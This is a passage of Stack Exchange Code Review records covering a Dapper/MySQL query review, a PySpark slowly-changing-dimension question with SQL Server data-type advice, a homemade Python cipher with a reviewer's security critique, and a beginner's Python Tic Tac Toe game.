"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T07:39:38.123",
"Id": "260103",
"ParentId": "260073",
"Score": "1"
}
},
{
"body": "<p>Your query is rather baffling. You twice join with the <code>USER</code> table and yet I cannot see any reason for this.</p>\n<p>This is what I cannot understand: <code>(s.Price /( SELECT COUNT(DISTINCT payer.ID) FROM payer WHERE ShopID = s.ID ) - p.Payed ) AS Topay</code>: you divide the price by the amount of <code>payer</code>s? Why?</p>\n<hr />\n<p>Honestly, I cannot figure out your data model. Why do <code>Shoping</code> and <code>Payer</code> have a <code>UserName</code> and also a <code>UserID</code>? Why do both have a <code>Price</code>? What is <code>User_collection</code>?</p>\n<p>Are <code>payer</code>s clients? Why would a client be specific to a shop? Why can't a client buy things at more than one shop?</p>\n<hr />\n<p>You have business logic that is executed when the query is executed. This is bad, because it blocks your DB connection for no reason at all. Why not simply retrieve the data you need from the DB, and then work with the retrieved data outside of the <code>using (IDbConnection cnn)</code> block?</p>\n<hr />\n<p>It also looks like this all happens within a method in a controller in your web API. This is bad. Controllers should be kept lean, you should move your logic to specific classes and use the likes of <a href=\"https://github.com/jbogard/MediatR\" rel=\"nofollow noreferrer\">MediatR</a> to connect them to your controller, and/or <a href=\"https://martinfowler.com/bliki/CQRS.html\" rel=\"nofollow noreferrer\">implement CQRS</a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T13:47:11.443",
"Id": "513352",
"Score": "0",
"body": "hi,Sorry for the confusion,I live in the buildings that have 50 people in it and for each floor splits into 2 groups each group is from ~9 people. I'm trying to build an Xamarin app (IOS, ANDROID ,Win10,maybe web app) to make it easer to us to communicate. the shopping table{ if someone by something the he can post it and keep track over how pay hem \"payers\"} i was planning to make a DB foreach group, i know that is bad data handling, so i made a collection ID for every group.i made 2 user variables so i can get the name of how did by and how need to pay (otherwise I end up only with one name)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:22:27.407",
"Id": "513360",
"Score": "0",
"body": "i'm looking into MediatR - Implementing CQRS and Mediator Patterns . it's first time i hear about it."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T09:00:55.817",
"Id": "260107",
"ParentId": "260073",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260103",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:19:02.623",
"Id": "260073",
"Score": "2",
"Tags": [
"c#",
"mysql",
"asp.net-web-api",
"dapper",
".net-5"
],
"Title": "Dapper with shops and payers"
}
|
260073
|
<p>I am using PySpark in Azure DataBricks to try to create a SCD Type 1.</p>
<p>I would like to know if this is an efficient way of doing this?</p>
<p>Here is my SQL table:</p>
<pre><code>CREATE TABLE dbo.Countries (
CountryId bigint IDENTITY,
ShortName nvarchar(max) NULL,
FullName nvarchar(max) NULL,
CapitalCities nvarchar(max) NOT NULL,
IsActive bit NOT NULL DEFAULT (0),
CreatedOn datetime2 NOT NULL DEFAULT (getdate()),
UpdatedOn datetime2 NULL,
PRIMARY KEY CLUSTERED (CountryId)
)
</code></pre>
<p>Here is my Python:</p>
<pre><code># Import Python Modules
import requests
import json
import pyspark.sql.functions as F
from pyspark.sql.types import ArrayType, StructType, StructField, StringType
from pyspark.sql.functions import md5, concat_ws
# Get Random Data From API
url = 'https://raw.githubusercontent.com/mledoze/countries/master/countries.json'
response = requests.get(url)
rdd_countries = sc.parallelize([response.text])
df_countries = spark.read.option("multiline","true") \
.json(rdd_countries)
# Remove Unwanted Columns
df_countries = df_countries.select(F.col("name.common").alias("ShortName"), F.col("name.official").alias("FullName"), F.col("capital").alias("CapitalCities"))
# Transform CapitalCities From Map To String
df_countries = df_countries.withColumn("CapitalCities", F.concat_ws(",", F.col("CapitalCities")))
# Add MD5 Hash For Row Comparison
df_countries = df_countries.withColumn("ActiveRowHash", md5(concat_ws('|',df_countries.ShortName,df_countries.FullName,df_countries.CapitalCities)))
# Rename All Source Columns
df_countries = df_countries.select([F.col(c).alias("Source_" + c) for c in df_countries.columns])
# Show Source Data
df_countries.show()
# SQL Server Config
target_server = "x.database.windows.net"
target_database = "x"
target_username = "x"
target_password = "x"
target_table = "dbo.Countries"
# Get Target Data From SQL
df_target = spark.read.format("jdbc") \
.option("url", f"jdbc:sqlserver://{target_server};databaseName={target_database};") \
.option("dbtable", target_table) \
.option("user", target_username) \
.option("password", target_password) \
.option("driver", "com.microsoft.sqlserver.jdbc.SQLServerDriver") \
.load()
# Add MD5 Hash For Row Comparison
df_target = df_target.withColumn("CurrentRowHash", md5(concat_ws('|',df_target.ShortName,df_target.FullName,df_target.CapitalCities)))
# Rename All Target Columns
df_target = df_target.select([F.col(c).alias("Target_" + c) for c in df_target.columns])
# Show Data
df_target.show()
# DataFrame For New Rows
df_new = df_countries.join(df_target, df_countries.Source_ShortName == df_target.Target_ShortName, "leftanti")
df_new.show()
# DataFrame For Deleted Rows
df_deleted = df_target.join(df_countries, df_target.Target_ShortName == df_countries.Source_ShortName, "leftanti")
df_deleted.show()
# DataFrame For Updated Rows
df_updated = df_countries.join(df_target, (df_countries.Source_ShortName == df_target.Target_ShortName) & (df_countries.Source_ActiveRowHash != df_target.Target_CurrentRowHash), "inner")
df_updated.show()
</code></pre>
<p>From here I will then loop though the three DataFrames and update SQL as required.</p>
<p>I am aware I made an assumption about the Source ShortName being the key, but that's okay for now.</p>
<p>Obviously I have tested the functionality of the code and it seems to work, but is it the best practice?</p>
|
[] |
[
{
"body": "<p>A random scattering of things:</p>\n<ul>\n<li><code>CapitalCities</code> is suspicious and suggests an improperly normalized schema. One would expect a separate table with a foreign key if a country needs to represent multiple capitals. Either that or this is just misnamed and you only need to represent one capital per country, in which case - <code>CapitalCity</code>.</li>\n<li>Apparently you're using Microsoft TSQL which violates the SQL standard fairly flagrantly. For instance, <code>boolean</code> is a <a href=\"https://www.postgresql.org/docs/current/datatype-boolean.html\" rel=\"nofollow noreferrer\">standard SQL type</a> but MS <a href=\"https://docs.microsoft.com/en-us/sql/t-sql/data-types/data-types-transact-sql?view=sql-server-ver15\" rel=\"nofollow noreferrer\">forces you to use</a> <code>bit</code>. If you have any choice in the matter, consider migrating to an RDBMS that respects the standard.</li>\n<li>Move your global code into subroutines</li>\n<li>Check for Requests failure via <code>response.raise_for_status()</code> rather than assuming success</li>\n</ul>\n<p>Also, for "fluent" syntax like this:</p>\n<pre><code>df_target = spark.read.format("jdbc") \\\n .option("url", f"jdbc:sqlserver://{target_server};databaseName={target_database};") \\\n .option("dbtable", target_table) \\\n .option("user", target_username) \\\n .option("password", target_password) \\\n .option("driver", "com.microsoft.sqlserver.jdbc.SQLServerDriver") \\\n .load()\n</code></pre>\n<p>prefer instead</p>\n<pre><code>df_target = (\n spark.read.format("jdbc")\n .option("url", f"jdbc:sqlserver://{target_server};databaseName={target_database};")\n .option("dbtable", target_table)\n .option("user", target_username)\n .option("password", target_password)\n .option("driver", "com.microsoft.sqlserver.jdbc.SQLServerDriver")\n .load()\n)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T17:25:25.143",
"Id": "260079",
"ParentId": "260076",
"Score": "0"
}
},
{
"body": "<p>Some observations about your <code>sql</code> table and <code>data types</code>.</p>\n<p>In most relational databases, and definitely SQL Server, choosing an <em>appropriate</em> data type is important.</p>\n<p>Selecting an inappropriate data type, or being lazy about things such as string length, can result in unexpected and simply unnecessary performance degradation. Data types should be chosen such that they can cope with anticipated data, but no more.</p>\n<p>Why? Rows in a table are arranged in structures known as <em>pages</em>, each page is approximately 8K in size, both on disk and in memory. A page is the minimum amount of data read by SQL Server - to read a row or rows, the page(s) containing the row are read from disk. The more compact each data type is, the more rows can fit on a single page and the less IO is requires to read a range of rows.</p>\n<p>You have a table named <code>Countries</code> - presumably this stores a list of countries, of which there are currently 195 world-wide. <code>Bigint</code> is not the correct data type for <code>CountryId</code> - unless you are expecting to require <em>at least</em> 2,147,483,647 rows. <code>TinyInt</code> would be the correct data type here, its possible values range from 0-255 and uses one byte per row, instead of <em>8 bytes</em>.</p>\n<p>The same goes for usage of <code>datetime2</code> - you need to provide a <em>precision</em> such as <code>datetime2(1)</code> which would use 6 bytes of storage, the default is the maximum precision that uses 8 bytes - do you really need to store the time with accuracy of one ten-millionth of a second?</p>\n<p>Why are all your string data types <code>nvarchar(max)</code>? The longest country name in the world, according to Google, happens to be "The United Kingdom of Great Britain and Northern Ireland" with 56 characters. A more suitable data type would be <code>nvarchar(60)</code>.</p>\n<p>Likewise, the <em>short</em> name is presumably shorter, and the same applies to <code>CapitalCities</code>.</p>\n<p>Why bother specifying an appropriate length for <code>(n)varchar</code> columns? They are <em>variable</em> by definition so only use enough space to store each value, right?</p>\n<p>This is correct - however there is a hidden, less obvious, overhead.</p>\n<p>When SQL Server builds an <em>execution plan</em>, not only does it contain all the information required to execute the query such as the operators to use to access tables, perform joins, sorts, aggregations etc it contains various meta-data and stats about the data SQL Server <em>expects</em> to see. One of these is an estimate of how many bytes per row are expected to be returned.</p>\n<p>Obviously SQL Server can't know in advance what data is going to be in a particular column until the query is executed, however everything it needs to do to execute a query has to be pre-baked in advance.</p>\n<p>All queries that are executed are allocated a minimum amount of memory in which to run, and some operations require their own additional memory allocations.</p>\n<p>Many data types e.g. <code>int</code> are of fixed length and there is no ambiguity - SQL Server knows each <code>int</code> column of each row will be 4 bytes, so in combination with what it knows about the number of rows estimated to be processed, it can make a good estimate of how much memory to request.</p>\n<p>For <code>varchar</code> data types however, SQL Server has no idea so it makes the assumption that each column will, on average, contain 50% (plus a small overhead) of the declared size. Based on this, and how many rows expected to be processed (itself determined by the cardinality and statistics of the data), SQL Server will request enough memory to process this estimated data.</p>\n<p>This can result in queries requesting, and getting, a disproportionality large amount of memory to run, ultimately not needed, but also not available to all other concurrently executing queries.</p>\n<p>Additionally, choosing <code>Nvarchar</code> as the data type means you are expecting to require <em>unicode</em> characters. This may be the case, in which case that's fine as you have no choice.</p>\n<p>However be aware that each character requires <em>two</em> bytes of storage on disk and in memory instead of <code>varchar</code>'s one. This can contribute to the inflated memory requirements above, and also means fewer rows of data can fit on each 8K page, resulting in more IO to read the same number of rows compared to storing as <code>varchar</code>, ultimately leading to slower performing queries.</p>\n<p>I recently presented a demonstration to colleagues of how this can impact query performance.</p>\n<p>I compared two simple tables of customer information, one with columns such as name, address and email sized appropriately e.g. using <code>varchar(50)</code>, and one where all were <code>nvarchar(max)</code>.</p>\n<p>I demonstrated various contrived operations of sorting, filtering, string operations, window functions etc on each. With both tables containing <em>identical</em> data, the performance of the same queries on the <code>nvarchar(max)</code> table was up to 600% slower, and performed over 6gb of IO compared to just 4mb.</p>\n<p>So the takeway is to always size your columns correctly for the expected data - it's just good practice!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-16T10:17:28.903",
"Id": "260800",
"ParentId": "260076",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:35:44.150",
"Id": "260076",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"sql-server",
"apache-spark"
],
"Title": "PySpark SCD Type 1"
}
|
260076
|
<p>This is a follow-up question to <a href="https://codereview.stackexchange.com/questions/259814/encryption-decryption-algorithm">this</a> one.</p>
<p>I have tried to implement all the recommended things in the answers (except commenting, and not being OS specific). Again, if you see anything that needs improvement, or would make it faster, please tell me!</p>
<p>Here's the code. Only 222 lines this time :).</p>
<pre><code>#!/usr/bin/env python
# not sure if I did this right
import base64
import random
import os
def add_padding(plain_text, block_size=128):
plain_text = plain_text.encode()
padding = -(len(plain_text) + 1) % block_size # Amount of padding needed to fill block
padded_text = plain_text + b'=' * padding + bytes([padding + 1])
return decimal_to_binary(padded_text)
def xor_string(key, secret):
xored_secret = ''
for i in range(len(secret) // len(key)):
if i > 0:
key = get_round_key(key)
xored_secret += decimal_to_binary([bin_to_decimal(key, len(key))[0] ^ bin_to_decimal(secret[i * len(key):len(key) + (i * len(key))], len(key))[0]], len(key))
return xored_secret
def generate_key(key):
if len(key) >= 128:
key = decimal_to_binary(key.encode())
return key[:1024]
elif len(key) < 128:
key = key.encode()
for i in range(128 - len(key)):
b = decimal_to_binary([key[i]])
b = xor_string(decimal_to_binary([sum(key) // len(key)]), b[::-1])
key += bytes([int(b, 2)])
new_key = ''.join(str(i) for i in key)
half1 = new_key[:len(new_key) // 2]
half2 = new_key[len(new_key) // 2:]
new_key = decimal_to_binary([int(half1 + half2)])
new_key = new_key[:1024]
return new_key
def bin_to_base64(binary):
return base64.b64encode(bytes([int(binary[i * 8:8 + i * 8], 2) for i in range(len(binary) // 8)])).decode()
def bin_to_decimal(binary, length=8):
b = [binary[i * length:length + (i * length)] for i in range(len(binary) // length)]
decimal = [int(i, 2) for i in b]
return decimal
def decimal_to_binary(decimal, length=8):
return ''.join(str(bin(num)[2:].zfill(length)) for num in decimal)
def base64_to_bin(base):
decoded = ''
for letter in base64.b64decode(base):
decoded += bin(letter)[2:].zfill(8)
return decoded
def matrix_to_str(m):
return ''.join(str(m[i][j]) for i in range(32) for j in range(32))
def obfuscate(binary, key, encrypting, loops):
shuffled_binary = ''
round_key = key
for i in range(len(binary) // 1024):
if i > 0:
round_key = get_round_key(round_key)
if encrypting:
m = [list(binary[j * 32 + i * 1024:j * 32 + i * 1024 + 32]) for j in range(32)]
m = shuffle(m, bin_to_decimal(round_key, 1024)[0], loops)
shuffled_binary += xor_string(round_key, matrix_to_str(m))
else:
xor = xor_string(round_key, binary[i * 1024:i * 1024 + 1024])
m = [list(xor[j * 32:j * 32 + 32]) for j in range(32)]
m = reverse_shuffle(m, bin_to_decimal(round_key, 1024)[0], loops)
shuffled_binary += matrix_to_str(m)
return xor_string(key, shuffled_binary)
def shuffle(m, key, loops):
for j in range(loops):
# move columns to the right
m = [row[-1:] + row[:-1] for row in m]
# move rows down
m = m[-1:] + m[:-1]
shuffled_m = [[0] * 32 for _ in range(32)]
for idx, sidx in enumerate(test(key)):
shuffled_m[idx // 32][idx % 32] = m[sidx // 32][sidx % 32]
m = shuffled_m
# cut in half and flip halves
m = m[len(m) // 2:] + m[:len(m) // 2]
# test
m = list(map(list, zip(*m)))
return m
def reverse_shuffle(m, key, loops):
for j in range(loops):
# test
m = list(map(list, zip(*m)))
# cut in half and flip halves
m = m[len(m) // 2:] + m[:len(m) // 2]
shuffled_m = [[0] * 32 for _ in range(32)]
for idx, sidx in enumerate(test(key)):
shuffled_m[sidx // 32][sidx % 32] = m[idx // 32][idx % 32]
m = shuffled_m
# move rows up
m = m[1:] + m[:1]
# move columns to the left
m = [row[1:] + row[:1] for row in m]
return m
def test(seed):
random.seed(seed)
lst = list(range(1024))
random.shuffle(lst)
return lst
def get_round_key(key):
key = [[key[(j * 32 + n)] for n in range(32)] for j in range(32)]
# get the last column
col = [i[-1] for i in key]
# interweave
col = [x for i in range(len(col) // 2) for x in (col[-i - 1], col[i])]
new_key = ''
for i in range(32):
cols = ''
for row in key:
cols += row[i]
cols = cols[16:] + cols[:16]
new_key += xor_string(''.join(str(ele) for ele in col), cols)
return new_key
def bin_to_bytes(binary):
return int(binary, 2).to_bytes(len(binary) // 8, byteorder='big')
def encrypt(password, secret, loops):
key = generate_key(password)
secret = add_padding(secret)
secret = xor_string(key, secret)
secret = obfuscate(secret, key, True, loops)
secret = bin_to_base64(secret)
return secret
def decrypt(password, base, loops):
key = generate_key(password)
binary = base64_to_bin(base)
binary = xor_string(key, binary)
binary = obfuscate(binary, key, False, loops)
binary = bin_to_bytes(binary)
pad = binary[-1]
binary = binary[:-pad]
return binary.decode()
if __name__ == '__main__':
while True:
os.system('cls')
com = input('1)Encrypt Text \n2)Decrypt Text\n3)Exit\n')
if com == '1':
os.system('cls')
secret = input('Enter the text you wish to encrypt: ')
os.system('cls')
key = input('Enter your key: ')
os.system('cls')
print(f'Encrypted text: {encrypt(key, secret, 1)}')
input()
elif com == '2':
os.system('cls')
b64 = input('Enter the text you wish to decrypt: ')
os.system('cls')
key = input('Enter your key: ')
os.system('cls')
print(f'Decrypted text: {decrypt(key, b64, 1)}')
input()
elif com == '3':
break
</code></pre>
|
[] |
[
{
"body": "<ul>\n<li><p>Consider adding PEP484 type hints. I needed to go through this to make some sense of the values you're passing around.</p>\n</li>\n<li><p><em>not being OS specific</em> - indeed. Your call to <code>cls</code> has dubious security value, and if you deem it to have such value, it's better to call into a cross-platform library that will accomplish the same thing. Currently you're pegged to Windows and that is bad. You're so close to having a cross-compatible application; it would be a shame to let this remain your only obstacle. For now in the example I have simply deleted your <code>cls</code> calls. If they were only for aesthetic purposes, you should keep it that way.</p>\n</li>\n<li><p>Of much (much) higher security value is <code>getpass</code> instead of <code>input</code>, to prevent an over-the-shoulder of passwords.</p>\n</li>\n<li><p><code>obfuscate</code> is not a particularly good name for a symmetric crypto function; it only "obfuscates" if <code>encrypting=True</code>. Names are hard; maybe call this <code>process_crypto</code> or somesuch.</p>\n</li>\n<li><p>A string of 0 and 1 characters - or possibly worse, a list of strings of length 1, each a 0 or 1 character - is a very inefficient and impractical internal representation of binary data. It's more work than I'm willing to do, but for an application that whatsoever exceeds superficial, beginner-level instructional code, it's of critical importance that you refactor to use <code>bytes</code> arrays (in the case of immutable data) or <code>bytearray()</code> (in the case of mutable data)</p>\n</li>\n<li><p>Related to the above - probably not a great idea to carry around an arbitrary-length integer of over 300 digits (!!). Again <code>bytes</code> is a better representation.</p>\n</li>\n<li><p>Avoid incremental concatenation of strings in a loop, O(n^2) in time.</p>\n</li>\n<li><p>You need to relax with the one-liners. This:</p>\n<pre><code> xored_secret += decimal_to_binary([bin_to_decimal(key, len(key))[0] ^ bin_to_decimal(secret[i * len(key):len(key) + (i * len(key))], len(key))[0]], len(key))\n</code></pre>\n</li>\n</ul>\n<p>is illegible and unmaintainable, and I see at least three different expressions in there that should receive their own separate, temporary variable on a separate line.</p>\n<ul>\n<li>Reassigning <code>key</code> to a value of a different type - <code>str</code> to <code>bytes</code> - is not adviseable; make a different variable name.</li>\n<li>Having a <code>__main__</code> guard is insufficient to create scope. To put your main variables into function scope you need an actual function.</li>\n<li>Calling into <code>random</code> is deleterious to the security of your crypto, and is one of the mistakes that probably every newcomer to crypto commits. Call into <code>secrets</code> instead.</li>\n</ul>\n<p>Covering some (certainly not all) of the above:</p>\n<pre><code>#!/usr/bin/env python\n# not sure if I did this right\n\nimport base64\nimport random\nfrom getpass import getpass\nfrom typing import List\n\n\ndef add_padding(plain_text: str, block_size: int = 128) -> str:\n plain_text = plain_text.encode()\n padding = -(len(plain_text) + 1) % block_size # Amount of padding needed to fill block\n\n padded_text = plain_text + b'=' * padding + bytes([padding + 1])\n\n return decimal_to_binary(padded_text)\n\n\ndef xor_string(key: str, secret: str) -> str:\n xored_secret = ''\n\n for i in range(len(secret) // len(key)):\n if i > 0:\n key = get_round_key(key)\n\n some_decimals = bin_to_decimal(secret[i * len(key):len(key) + (i * len(key))], len(key))\n\n some_values = [\n bin_to_decimal(key, len(key))[0] ^ some_decimals[0]\n ]\n\n xored_secret += decimal_to_binary(some_values, len(key))\n\n return xored_secret\n\n\ndef generate_key(key: str) -> str:\n if len(key) >= 128:\n key = decimal_to_binary(key.encode())\n return key[:1024]\n elif len(key) < 128:\n\n key = key.encode()\n\n for i in range(128 - len(key)):\n b = decimal_to_binary([key[i]])\n b = xor_string(decimal_to_binary([sum(key) // len(key)]), b[::-1])\n\n key += bytes([int(b, 2)])\n\n new_key = ''.join(str(i) for i in key)\n\n half1 = new_key[:len(new_key) // 2]\n half2 = new_key[len(new_key) // 2:]\n new_key = decimal_to_binary([int(half1 + half2)])\n new_key = new_key[:1024]\n return new_key\n\n\ndef bin_to_base64(binary: str) -> str:\n ints = [\n int(binary[i * 8:8 + i * 8], 2)\n for i in range(len(binary) // 8)\n ]\n return base64.b64encode(bytes(ints)).decode()\n\n\ndef bin_to_decimal(binary: str, length: int = 8) -> List[int]:\n b = [binary[i * length:length + (i * length)] for i in range(len(binary) // length)]\n\n decimal = [int(i, 2) for i in b]\n\n return decimal\n\n\ndef decimal_to_binary(decimal: List[int], length: int=8) -> str:\n return ''.join(\n str(bin(num)[2:].zfill(length))\n for num in decimal\n )\n\n\ndef base64_to_bin(base: str) -> str:\n decoded = ''\n for letter in base64.b64decode(base):\n decoded += bin(letter)[2:].zfill(8)\n\n return decoded\n\n\ndef matrix_to_str(m: List[List[str]]) -> str:\n return ''.join(\n str(m[i][j])\n for i in range(32) for j in range(32)\n )\n\n\ndef obfuscate(binary: str, key: str, encrypting: bool, loops: int) -> str:\n shuffled_binary = ''\n round_key = key\n\n for i in range(len(binary) // 1024):\n if i > 0:\n round_key = get_round_key(round_key)\n\n if encrypting:\n m = [list(binary[j * 32 + i * 1024:j * 32 + i * 1024 + 32]) for j in range(32)]\n m = shuffle(m, bin_to_decimal(round_key, 1024)[0], loops)\n shuffled_binary += xor_string(round_key, matrix_to_str(m))\n else:\n xor = xor_string(round_key, binary[i * 1024:i * 1024 + 1024])\n m = [list(xor[j * 32:j * 32 + 32]) for j in range(32)]\n m = reverse_shuffle(m, bin_to_decimal(round_key, 1024)[0], loops)\n shuffled_binary += matrix_to_str(m)\n\n return xor_string(key, shuffled_binary)\n\n\ndef shuffle(m: List[List[str]], key: int, loops: int) -> List[List[str]]:\n for j in range(loops):\n # move columns to the right\n m = [row[-1:] + row[:-1] for row in m]\n\n # move rows down\n m = m[-1:] + m[:-1]\n\n shuffled_m = [[0] * 32 for _ in range(32)]\n\n for idx, sidx in enumerate(test(key)):\n shuffled_m[idx // 32][idx % 32] = m[sidx // 32][sidx % 32]\n\n m = shuffled_m\n\n # cut in half and flip halves\n m = m[len(m) // 2:] + m[:len(m) // 2]\n\n # test\n m = list(map(list, zip(*m)))\n\n return m\n\n\ndef reverse_shuffle(m: List[List[str]], key: int, loops: int) -> List[List[str]]:\n for j in range(loops):\n # test\n m = list(map(list, zip(*m)))\n\n # cut in half and flip halves\n m = m[len(m) // 2:] + m[:len(m) // 2]\n\n shuffled_m = [[0] * 32 for _ in range(32)]\n\n for idx, sidx in enumerate(test(key)):\n shuffled_m[sidx // 32][sidx % 32] = m[idx // 32][idx % 32]\n\n m = shuffled_m\n\n # move rows up\n m = m[1:] + m[:1]\n\n # move columns to the left\n m = [row[1:] + row[:1] for row in m]\n\n return m\n\n\ndef test(seed: int) -> List[int]:\n random.seed(seed)\n lst = list(range(1024))\n random.shuffle(lst)\n\n return lst\n\n\ndef get_round_key(key):\n key = [[key[(j * 32 + n)] for n in range(32)] for j in range(32)]\n # get the last column\n col = [i[-1] for i in key]\n # interweave\n col = [x for i in range(len(col) // 2) for x in (col[-i - 1], col[i])]\n new_key = ''\n for i in range(32):\n cols = ''\n for row in key:\n cols += row[i]\n\n cols = cols[16:] + cols[:16]\n new_key += xor_string(''.join(str(ele) for ele in col), cols)\n\n return new_key\n\n\ndef bin_to_bytes(binary: str) -> bytes:\n return int(binary, 2).to_bytes(len(binary) // 8, byteorder='big')\n\n\ndef encrypt(password: str, secret: str, loops: int = 1) -> str:\n key = generate_key(password)\n secret = add_padding(secret)\n secret = xor_string(key, secret)\n secret = obfuscate(secret, key, True, loops)\n secret = bin_to_base64(secret)\n return secret\n\n\ndef decrypt(password: str, base: str, loops: int = 1) -> str:\n key = generate_key(password)\n binary = base64_to_bin(base)\n binary = xor_string(key, binary)\n binary = obfuscate(binary, key, False, loops)\n binary = bin_to_bytes(binary)\n pad = binary[-1]\n binary = binary[:-pad]\n return binary.decode()\n\n\ndef main():\n while True:\n com = input(\n '1) Encrypt Text\\n'\n '2) Decrypt Text\\n'\n '3) Exit\\n'\n )\n\n input_text = input('Enter the text: ')\n key = getpass('Enter your key: ')\n\n if com == '1':\n print(f'Encrypted text: {encrypt(key, input_text)}')\n\n elif com == '2':\n print(f'Decrypted text: {decrypt(key, input_text)}')\n\n elif com == '3':\n break\n\n print()\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n<p>Speaking more generally, for educational and recreational purposes writing this kind of code is fun. However, cryptographic implementations are viciously difficult to get correct, and sometimes even more difficult to <em>prove</em> that they're correct. In the real, production world, please do not use this; just call into a library.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T22:38:16.283",
"Id": "513280",
"Score": "0",
"body": "Concerning the arbitrary length int, how would I replace that with a `bytes` array?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T22:58:15.113",
"Id": "513281",
"Score": "0",
"body": "So far as I see, you're only using the `key` int to seed random. Don't use random. You need to call into a secure PRNG that accepts a byte array as seed state; `secrets` doesn't support this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T23:00:30.233",
"Id": "513282",
"Score": "0",
"body": "I was planning on switching to `os.urandom()`. Would that work?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T23:07:38.207",
"Id": "513283",
"Score": "0",
"body": "no, because it cannot be seeded"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T23:10:06.040",
"Id": "513284",
"Score": "0",
"body": "And with the lists, how would I refactor to `bytes`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T23:29:45.583",
"Id": "513285",
"Score": "0",
"body": "Burn `decimal_to_binary` with fire. Deal with byte arrays directly."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T23:33:44.703",
"Id": "513286",
"Score": "0",
"body": "Let us [continue this discussion in chat](https://chat.stackexchange.com/rooms/123526/discussion-between-reinderien-and-have-a-nice-day)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T00:51:55.457",
"Id": "513288",
"Score": "0",
"body": "One more question (for now, sorry). If I have `bytes_object = b'a'` is it stored as 97 or 01100001? because if I call `bytes_object[0]` it returns 97."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T03:10:46.720",
"Id": "513305",
"Score": "0",
"body": "It's stored as \"both\" - it's an integer, and the way that humans understand it depends on which radix we choose. Or interpreted at the electronic level, eventually everything is binary."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T03:12:32.093",
"Id": "513306",
"Score": "0",
"body": "Also, is there anyway to reverse a byte? like turn 10000000 into 00000001?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T03:30:37.203",
"Id": "513307",
"Score": "0",
"body": "Nvm I found this [How do you reverse the significant bits of an integer in python?](https://stackoverflow.com/questions/5333509/how-do-you-reverse-the-significant-bits-of-an-integer-in-python)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T23:06:37.970",
"Id": "513538",
"Score": "0",
"body": "New question here [Encryption/Decryption algorithm #3](https://codereview.stackexchange.com/questions/260171/encryption-decryption-algorithm-3)."
}
],
"meta_data": {
"CommentCount": "12",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T22:03:13.263",
"Id": "260090",
"ParentId": "260077",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260090",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:39:02.737",
"Id": "260077",
"Score": "2",
"Tags": [
"python",
"reinventing-the-wheel",
"cryptography"
],
"Title": "Encryption/Decryption algorithm #2"
}
|
260077
|
<p>I made Tic Tac Toe in Python. Standard code review, please tell me ways to improve. I am very new to Python, so please do not criticize very roundabout ways. Thanks.</p>
<pre><code>board = []
for x in range(3):
board.append([' '] * 3)
def print_board(board):
x = 1
print(' A B C')
print()
dashes = 0
for row in board:
print(x, ' ', ' | '.join(row))
if dashes <= 1:
print(' ', ' -'*6)
dashes += 1
x += 1
def split(word):
return [char for char in word]
print('This is Tic Tac Toe.')
print('Player 1 will be X and Player 2 will be O.')
win = False
while win != True:
print()
print_board(board)
print()
while True:
p1 = input('Player 1, where would you like to place a X? ').lower()
try:
p1_col_let = split(p1)[0]
p1_row = int(split(p1)[1])
p1_col = int(ord(p1_col_let) - 96)
except ValueError:
print('Invalid format.')
if board[p1_row - 1][p1_col - 1] != ' ':
print('That spot is already taken.')
else:
break
while True:
p2 = input('Player 2, where would you like to place an O? ').lower()
try:
p2_col_let = split(p2)[0]
p2_row = int(split(p2)[1])
p2_col = int(ord(p2_col_let) - 96)
except ValueError:
print('Invalid format.')
if board[p2_row - 1][p2_col - 1] != ' ' or p2_row == p1_row and p2_col == p1_col:
print('That spot is already taken.')
else:
break
board[p1_row - 1][p1_col - 1] = 'X'
board[p2_row - 1][p2_col - 1] = 'O'
a1 = board[0][0]
a2 = board[1][0]
a3 = board[2][0]
b1 = board[0][1]
b2 = board[1][1]
b3 = board[2][1]
c1 = board[0][2]
c2 = board[1][2]
c3 = board[2][2]
if a1 == 'X' and a2 == 'X' and a3 == 'X' or b1 == 'X' and b2 == 'X' and b3 == 'X' or c1 == 'X' and c2 == 'X' and c3 == 'X' or a1 == 'X' and b1 == 'X' and c1 == 'X' or a2 == 'X' and b2 == 'X' and c2 == 'X' or a3 == 'X' or b3 == 'X' or c3 == 'X' or a1 == 'X' and b2 == 'X' and c3 == 'X' or c1 == 'X' and b2 == 'X' and a3 == 'X':
print()
print_board(board)
print()
print('Player 1 wins!')
win = True
